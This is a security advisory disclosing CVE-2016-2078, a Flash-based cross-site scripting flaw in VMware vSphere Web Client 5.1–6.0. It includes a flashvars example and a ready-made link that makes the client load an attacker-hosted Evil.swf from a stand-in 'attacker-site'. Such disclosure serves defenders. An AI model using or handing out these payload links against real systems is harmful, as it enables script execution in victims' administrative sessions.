[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/VMWARE-VSPHERE-FLASH-XSS.txt [+] ISR: apparitionsec Vendor: =============== www.vmware.com Product: ==================================== VMWare vSphere Web Client v5.1 - 6.0 A server virtualization platform from VMware. Also referred to as a cloud operating system or virtualized data center platform, VMware vSphere enables IT departments to efficiently place application workloads on the most cost-effective compute resource available VMware vSphere includes the VMware ESX / ESXi hypervisor, a type 1 hypervisor that functions as the virtualization server; the VMware vCenter Server, which manages vSphere environments; the VMware vSphere Client, which is used to install and manage virtual machines through the hypervisor; and VMware VMFS, the file system component from VMware. Vulnerability Type: ==================== Flash XSS CVE Reference: ============== CVE-2016-2078 Vulnerability Details: ===================== VMWare vSphere Web Client is vulnerable to Flash based XSS through the loading of arbitrary .SWF files via 'flashvars' parameter. Flashvars is a Flash Player feature that allows passing of variables to the '_root' level of a Flash movie from the hosting webpage. Attackers can exploit this to call arbitrary Flash actionscript functions on the victims Flash Player client through attacker supplied SWF files that execute in the same security context as that of vSphere Web Client. e.g. flashvars: 'locale=en_US&localeChain=en_US&resourceModuleURLs=locales/UI-en_US.swf&resourceModuleURLs=http%3A%2F%2Fattacker-site%2FEvil.swf', References: ============ VMSA-2016-0006 http://www.vmware.com/security/advisories/VMSA-2016-0006.html Exploit code(s): =============== 1) Attacker server needs Flash policy file "crossdomain.xml" It grants Flash Player permission to talk to servers other than the one it's hosted on. This will allow victim server ability to talk to the evil server. e.g. 2) Send infected linx to the victim. https://victim:9443/vsphere-client/ui.jsp?resourceModuleURLs=http://attacker-site/Evil.swf Disclosure Timeline: ================================= Vendor Notification: Jan 4, 2016 May 25, 2016 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: =============== 4.2 (Medium) CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N Description: ================================================ Request Method(s): [+] GET Vulnerable Product: [+] VMWare 5.1 - 6.0 vsphere-client Vulnerable Parameter(s): [+] flashvars / resourceModuleURLs ============================================================ [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. hyp3rlinx